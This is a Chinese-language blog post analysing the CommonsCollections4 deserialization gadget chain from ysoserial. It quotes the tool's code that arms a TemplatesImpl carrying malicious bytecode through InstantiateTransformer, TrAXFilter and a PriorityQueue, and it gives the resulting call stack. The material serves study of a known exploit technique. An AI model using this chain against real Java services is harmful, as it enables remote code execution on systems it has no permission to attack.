CommonsCollections4反序列化链分析

简介

本文分析调试ysoserial中的CC4。

1
2
3
4
/*
* Variation on CommonsCollections2 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/

和CC2不同的是,CC4使用了InstantiateTransformer代替InvokerTransformer

也就是说和CC3一样,都是用这个类来反射调用方法。所以CC4实际上是CC2+CC3

本篇也会对之前的内容多一点回顾与复习。

复现

1
jdk1.7+tomcat8+commons:commons-collections4:4.0

image.png

分析

Gadgets.createTemplatesImpl(command)

1
Object templates = Gadgets.createTemplatesImpl(command);

构造并返回了一个包含了恶意字节码的TemplatesImpl对象,组建Templates攻击链。

1
ConstantTransformer constant = new ConstantTransformer(String.class);

新建一个ConstantTransformer对象然后填充一个String.class占位。

new InstantiateTransformer

1
2
3
4
5
6
7
8
9
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);

// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

image.png

InstantiateTransformer类定义了一个transform方法,这是触发点。

通过getConstructor来拿到input类的参数类型为this.iParamTypes的构造方法,这里传入的为paramTypesString.class

然后通过newInstance来实例化对象,这里传入的args为一个foo字符占位。

Reflections.getFieldValue拿到两个Field,为之后填充真实的payload做准备。

1
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

InstantiateTransformerConstantTransformer包含到ChainedTransformer里。

这样当触发ChainedTransformer.transform()的时候,就能够递归调用数组中的transform方法,也能触发最后InstantiateTransformer.transform(),至于传入的对象现在还没填充。

new PriorityQueue

image.png

优先队列,这个可以去看cc2讲的很详细。

image.png

反射赋值

1
2
3
4
5
6
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;

return queue;

最后是ysoserial填充的时候,一般这个时候我们才能完全对链子了解。

TrAXFilter.class被设置为ConstantTransformeriConstant属性的值。

也就是InstantiateTransformer.transform()传入的input参数

加上下面的paramTypes和args的填充,基本上那个transform方法我们就能知道最后是咋搞得,主要是下面两句。

image.png

跟进到TrAXFilter的构造方法

image.png

这里传入的Templates对象就是我们构造的包含了恶意字节码的对象。

templates.newTransformer()的时候,自动加载了静态块里的恶意代码,完成调用。

总结

总之这条链子就是之前CC2和CC3的结合版,改动的地方不多,可以手写一下Gaget Chain看一下自己懂不懂逻辑hhh

1
2
3
4
5
6
7
ObjectInputStream.readObject()
PriorityQueue.readObject()
TransformingComparator.compare()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()
加载静态块恶意代码

调试

断点打在:

image.png

完整方法栈,可以看到我们的TemplatesImpl对象

image.png